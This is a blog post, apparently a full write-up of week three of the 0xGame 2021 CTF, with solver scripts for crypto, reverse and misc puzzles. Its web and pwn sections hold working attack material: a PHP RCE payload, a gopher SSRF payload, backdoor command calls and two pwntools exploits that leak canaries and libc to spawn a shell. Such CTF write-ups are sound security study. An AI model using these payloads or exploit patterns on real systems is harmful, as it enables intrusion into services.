2021-0xGame 第三周 WriteUp(AK)

Crypto

1. CryptoSignin3

签到题,有性质c = (m ^ e) % n,现在已知c,e,n,要求5m对应的C,再由模的性质,即有:C = [(5m) ^ e] % n = [(5 ^ e) % n] * c,再大数运算一下即可。

2. Wilson

利用威尔逊定理,代码如下:

from gmpy2 import invert
from Crypto.Util.number import long_to_bytes

p = 10009475467727842964944136921466692066364373263024256649726700299397848867019210333658570624176497020220474895288449922932713775955785908704109113057682309
q = 10009475467727842964944136921466692066364373263024256649726700299397848867019210333658570624176497020220474895288449922932713775955785908704109113057682373

p -= 1

k = 1
for i in range(p + 1, q):
    k = (k * i) % q
noise = (-invert(k, q)) % q

m=218869288758479666312655616167475171316644158474191737372223899893291085282790014809127599350279504587088604194315024183483448278954944209984123717833551451986770721358114382337552596254807578583543795606548466100057353599910252896241208985084
n=100189599139045520692403514463438191919411159406336533264628466489136567106850053961211156503402646767637582308399326881242266939213884415929464845632614082572953261137505406070253764077806987137037034310296845793371123661392496824861923474884525612617707544570336505659782455487338427377348917874318463239257

# m = noise * flag % n
flag = m // noise
print(str(long_to_bytes(flag),encoding='utf-8'))

3. Fermat with Binomial

利用费马小定理二项式定理,代码如下:

from gmpy2 import gcd
from Crypto.Util.number import *

n=16785815493192323072561202520621502124354484873141439416485516896177209180170954358917536655296832389378159385508553582292316986439935870611836481627326624997826278718936899131627405269577001541561786652522795230359038066756500166621870294967504124007392361309677236631475857268249665705586160191841238378747704555589725214417560311950480552359244858338836565084199965357719917862865124721829629583801017461751844801305560796234037169537157236798038347132037065583033136175781724971303334634074643113231202854595470566133689932557205673653855603056520355846208058018605770349841277407297822002222655287986001654291931
c=12824901853900928176431805967670922082099408423359348740734692908225214283313020989235896494342846615758839954388241321859784138067628962023114456647732896918446926075150525242914486413449921088854955092881525457824965211111708060188052025883249556408765110000416480911959539207515903372662706942051175602406993472605337450011214198253823995374918086046571064526610180657696977528863091044723572782646772325280660263920280922710139393502451340521170658459979145980603061780857907568888355186816350804498385690058379721372491179071169195852152316654113738209736216721551163445193680416946172818040555458013285013076026
hint1=9100042084582559120159031222877385918131627674965428834732092483610222485185500852690169889158524199071605287690845087305188994225784309780346317628828223709405785692567210943043233210503182916135218501703770962120690794212530724251491005258749274621926983941779357144111637154016600411666779133073494389367203037839113492716852468953430962340504727673205375932008380231967356987830939184941935559824751997435555229308732296050345353884892269792098915710385538823080718443304466681676033122340721360871484264707931485035700119764663528137240048303559376884120155943565064746404763004240115053288163324152157473617990
hint2=9715835317933770028352656960194612511232332508578016476234653979758738724483036248158492859699534774069055258691831221183554038938838861427968839315936796645021031146434403767322049813439272141318924746372792359202961866805563916806745433288822292142587118556212747743843666517677675229877703300490191424342819740469916571702460052662852376459432341889334300260369825585572770112675953798390556158097350576177067289449449873243010686716960572551733859485003137822891360533488207469003452641541262228655905655933669756058464699629520449342902123166997135656358968094821077563145658394017534114487847397469149938035501

e=65537
q = gcd(n,pow(hint2-1011,20212021,n)*pow(2021,20212021,n)-hint1*pow(1010,20212021,n))
p = n//q

print(p)
print(q)

#d=685908935269680351378898947925971324427747844580508335098466732501679451065776824895572930754915805403889571301583937216821412174590662701962221307017115549142908195512657214619195131176697287460556092824756177836970016063809869939322346917359293896452335987111336187178118402801052913004253124094035985447696055937421268493398664918781703709908001426161111918016734001280257116717372126546561785494521274625911106029168202231848432901801641012585847107402682852488133381890178114358460380410510173466904783224105854672460321703515512842174162082215067070773077528147632920679377806887066806035711524346377941190081

print(long_to_bytes(94160848788393842241500218539322023327703681320653914289249266837961921876431874518397))

4. Predict 1

LCG,写个自动脚本,代码如下:

from pwn import *
from functools import reduce
from gmpy2 import invert, gcd

context(os = "linux", arch = "amd64", log_level= "debug")
io = remote("47.101.38.213", 60709)

states = []

def crack_unknown_increment(states, modulus, multiplier): 
    increment = (states[1] - states[0]*multiplier) % modulus 
    return modulus, multiplier, increment

def crack_unknown_multiplier(states, modulus):
    multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus 
    return crack_unknown_increment(states, modulus, multiplier)

def crack_unknown_modulus(states): 
    diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] 
    zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] 
    modulus = abs(reduce(gcd, zeroes)) 
    return crack_unknown_multiplier(states, modulus)

for i in range(9):
	io.recvuntil("> ")
	io.send(b'1')
	io.recvuntil("format>")
	io.send(b'2333')
	io.recvuntil("is ")
	x = int(io.recvline())
	states.append(x)

modulus, multiplier, increment = crack_unknown_modulus(states)
the_seed = (states[0]-increment)*invert(multiplier, modulus)%modulus

class prng_lcg: 
    m = multiplier
    c = increment
    n = modulus
    def __init__(self, seed): 
        self.state = seed
    def next(self): 
        self.state = (self.state * self.m + self.c) % self.n 
        return self.state 

gen = prng_lcg(the_seed)
for i in range(9):
	gen.next()
for i in range(200):
	io.recvuntil("> ")
	io.send(b'1')
	io.recvuntil("format>")
	io.send(str(gen.next()).encode('utf-8'))
io.interactive()

Reverse

1. Installer

pyc文件反编译python源代码,读懂代码,写出如下转换脚本(先将源代码中flag数组改成全0,得到arr2):

arr1 = [15728448, 16362025, 13718731, 13740602, 11425044, 13216326, 10048823, 13740603, 12757531, 12255100, 15138636, 12408061, 11228430, 10289095, 10114289, 14723575, 11272070, 9524519, 10267251, 12517282, 11796345, 13653174, 12495389, 13172636, 11468724, 9458930, 8956506, 12320680, 15291551, 11119205, 9568155, 10201663, 10398270, 14745427, 10944395, 13260012, 13194479, 11053619, 12145871, 11184688, 11359448, 11774503, 16602251, 15662990]
arr2 = [15728400, 16361905, 13718660, 13740505, 11424935, 13216225, 10048700, 13740505, 12757480, 12255045, 15138585, 12407960, 11228330, 10288995, 10114235, 14723530, 11272020, 9524420, 10267150, 12517185, 11796300, 13653125, 12495340, 13172535, 11468625, 9458885, 8956450, 12320580, 15291500, 11119105, 9568110, 10201615, 10398220, 14745375, 10944345, 13259915, 13194380, 11053570, 12145820, 11184640, 11359400, 11774455, 16602200, 15662865]

for i in range(44):
    print(chr(arr1[i] - arr2[i]) , end="")

2. Maze

走迷宫,挺好玩的,先写个脚本转换出迷宫图,代码如下:

#include<bits/stdc++.h>
using namespace std;
//24*16

string s;
int cnt,now;
char maze[500];
int num[500];

int fun(string s,int radix)
{
	int ans=0;
	for(int i=0;i<s.size();i++)
	{
		char t=s[i];
		if(t>='0'&&t<='9')ans=ans*radix+t-'0';
		else ans=ans*radix+t-'A'+10;
	}
	return ans;
}

int main()
{
	freopen("maze.txt","r",stdin);
	while(cin>>s)
	{
		cnt++;
		if(s.find(",")==s.npos){num[cnt]=fun(s,16);cin>>s;}
		if(s.find("2A")!=s.npos)maze[cnt]='1';
		else if(s.find("2E")!=s.npos)maze[cnt]='0';
		else if(s.find("53")!=s.npos)maze[cnt]='S';
		else maze[cnt]='E';
	}
	for(int i=1;i<=cnt;i++)
	{
		if(num[i]==0)num[i]++;
		for(int j=1;j<=num[i];j++)
		{
			now++;
			if(now==25){printf("\n");now=1;}
			printf("%c ",maze[i]);
		}
	}
	return 0;
}

附上简单处理了一下的maze.txt

22 dup(2A), 0A dup(2E), 8 dup(2A), 53, 6 dup(2E),
8 dup(2A), 2E, 17 dup(2A), 2E, 17 dup(2A), 2E,
8 dup(2A), 45, 0B dup(2A), 4 dup(2E), 8 dup(2A),
2E, 4 dup(2A), 8 dup(2E), 0B dup(2A), 2E, 4 dup(2A),
2E, 12 dup(2A), 2E, 4 dup(2A), 2E, 12 dup(2A),
2E, 4 dup(2A), 8 dup(2E), 0B dup(2A), 2E, 0B dup(2A),
2E, 0B dup(2A), 2E, 0B dup(2A), 2E, 0B dup(2A),
2E, 0B dup(2A), 3 dup(2E), 9 dup(2A), 2E, 0D dup(2A),
2E, 9 dup(2A), 0F dup(2E), 1D dup(2A),

得到的迷宫图如下:

1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0 0 0 1 1 1 1
1 1 1 1 S 0 0 0 0 0 0 1 1 1 1 1 1 1 1 0 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1
1 1 1 1 E 1 1 1 1 1 1 1 1 1 1 1 0 0 0 0 1 1 1 1
1 1 1 1 0 1 1 1 1 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1
1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 0 1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 0 1 1 1 1 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1
1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1
1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1 1 1
1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 0 0 0 1 1 1 1 1
1 1 1 1 0 1 1 1 1 1 1 1 1 1 1 1 1 1 0 1 1 1 1 1
1 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1

d s w a分别代表:右 下 上 左,故flag如下:
0xGame{5-ddddddwdddddddddssssaaasaaaaaaasssdddddddsssddssaaaaaaaaaaaaaawwwwwwwww-4}

3. Mirror

先用IDA动态调试出calc函数中的每项数值,然后用Z3解方程:

from z3 import *

x = Solver()

k,q = Ints('k q')

x.add(1969444366 * 1969444366 + 1820452491 == 310 * (310 * 310 + k) + q)
x.add(2963569549 * 2963569549 + 1719772226 == 704 * (704 * 704 + k) + q)

print(x.check())
print(x.model())

# k = 12446785179114514    q = 20207707034304107

由异或的自反性,再写出如下代码:

#include<bits/stdc++.h>
using namespace std;

long long k=12446785179114514, q=20207707034304107;
char Buffer[60];
char flag[45];
char legacy[45]={0x30, 0x78, 0x47, 0x61, 0x6D, 0x65, 0x7B, 0x5F, 0x5F, 0x5B, 0x1F, 0x1C, 0x36, 0x25, 0x35, 0x51, 0x5D, 0x19, 0x74, 0x34, 0x34, 0x19, 0x14, 0x2D, 0x76, 0x30, 0x64, 0x1F, 0x1C, 0x65, 0x7F, 0x68, 0x51, 0x0A, 0x1A, 0x33, 0x69, 0x7F, 0x19, 0x44, 0x6C, 0x1A, 0x34, 0x7D};

int main()
{
	sprintf(Buffer,"%lld%lld",k,q);
	for(int i=0;i<=16;i++)
	{
	    int v2 = 10 * (Buffer[2 * i] - 48) + Buffer[2 * i + 1] - 48;
	    legacy[i + 9]^=v2;
	    legacy[i + 26]^=v2;
	}
	for(int i=0;i<=43;i++)printf("%c",legacy[i]);
    return 0;
}

Web

1. no_way_to_go

无参数RCE,套娃一下:N1k0la=;show_source(next(array_reverse(scandir(pos(localeconv())))))即可。

2. BackDoor

ThinkPHP框架,审计一下,发现有后门函数backdoor,直接按如下方式调用:http://159.75.116.195:666/index.php/index/backdoor?command=XXX
出题人又藏flag了,利用linux里的find命令加上通配符查找fl*,发现flag的文件名为flaaaag,被放在了session里,直接cat即可。

3. SSRF_Me

访问/read.php,发现要从本地转过去,过滤了127.0.0.1,可以用localhost代替。
利用gopher协议,过滤了关键词flagfascll码为102,转为16进制为66,故用url编码可以写成%66lag绕过,对以下内容二次编码(浏览器解码一次,curl解码一次,发送的name的内容,由于源代码里的urldecode,也需要二次编码):

POST /read.php HTTP/1.1
Host: localhost:80
content-type: application/x-www-form-urlencoded
Content-Length: 14

name=%2F%66lag

最终,得到payload如下:
url=gopher://localhost:80/_POST%2520%252Fread.php%2520HTTP%252F1.1%250D%250AHost%253A%2520localhost%253A80%250D%250Acontent-type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252014%250D%250A%250D%250Aname%253D%25252F%252566lag%250D%250A

Pwn

1. leak me

puts遇到00才会停止输出,利用puts带出canary以及__libc_start_main,通过__libc_start_main可泄露libc的版本,exp如下:

from pwn import *

context(os = "linux", arch = "amd64", log_level= "debug")
io = remote("121.4.15.155", 10009)
#io = process(["./ld-2.23.so","./pwn"],env={"LD_PRELOAD":"./libc-2.23.so"})
pwn = ELF("pwn")

libc_start_main_addr = 0x20750

io.recvuntil("something\n")
io.sendline(b'a'*56)
io.recvline()
canary_addr = u64(io.recv(7).rjust(8, b'\x00'))
print(hex(canary_addr))

io.recvuntil("something\n")
io.send(b'a'*72)
io.recvuntil("a"*72)
libc_addr = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(libc_addr))

base = libc_addr - 240 - libc_start_main_addr
one_gadget_addr = base + 0x45226

io.recvuntil("something\n")
io.send(b'exit\x00SSS' + b'a'*48 + p64(canary_addr) + b'a'* 8 + p64(one_gadget_addr))

io.interactive()

2. canary eats pie

利用格式化字符串漏洞,泄露出canary以及pie的偏移即可,exp如下:

from pwn import *

context(os = "linux", arch = "amd64", log_level= "debug")
io = remote("121.4.15.155", 10010)
#io = process(["./ld-2.23.so","./pwn"],env={"LD_PRELOAD":"./libc-2.23.so"})
pwn = ELF("pwn")

main_addr = pwn.symbols['main']

io.recvuntil("it?\n")
io.send(b'%13$p%19$p')
io.recv(2)
canary_addr = int(io.recv(16),16)
io.recv(2)
main_real_addr = int(io.recv(12),16)
print(hex(canary_addr))
print(hex(main_real_addr))

base = main_real_addr - main_addr
puts_got_addr = pwn.got['puts'] + base
print(hex(puts_got_addr))

io.recvuntil("before\n")
payload = b'a'*(0x40 - 8) + p64(canary_addr) + b'a'*8 + p64(main_real_addr)
io.send(payload)

io.recvuntil("it?\n")
payload = b'SSSS%7$s' + p64(puts_got_addr)
io.send(payload)
io.recvuntil("SSSS")
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(puts_addr))

libc_base = puts_addr - 0x06f6a0
one_gadget_addr = libc_base + 0x45226

io.recvuntil("before\n")
payload = b'a'*(0x40 - 8) + p64(canary_addr) + b'a'*8 + p64(one_gadget_addr)
io.send(payload)
io.interactive()

Misc

1. EasyPython

八进制转一下,代码如下:

a = [60,170,107,141,155,145,173,167,63,63,153,62,137,163,164,64,162,67]
b = [48,120,71,97,109,101,123,119,51,51,107,50,95,115,116,52,114,55]
for i in range(0, 18):
    print(chr(b[i]), end="")

2. Pork Factory

利用cloacked-pixel解密,密码就是图中的猪圈密码的明文MEAT,解密后得到一个二维码,扫二维码后,得到一串经过培根密码加密后的密文,再解密即可拿到flag

3. EasyDisk

利用十六进制编辑器修改原图的高度,可得到Key,再用FTK Imager导入ad1文件,并输入密码,就能在新磁盘中拿到另一张看似和原图一样的图片,想到盲水印,于是利用BlindWaterMark对双图进行操作,即可拿到flag

4. 周深的声音

先用deepsound提取出flag.txt,再将其中的base64编码转图片,之后再用outguess破解图片中隐写的信息数据,使用命令:outguess -r XXX.jpg -t flag.txt即可。

posted @ 2021-10-29 19:37  winmt  阅读(578)  评论(0编辑  收藏  举报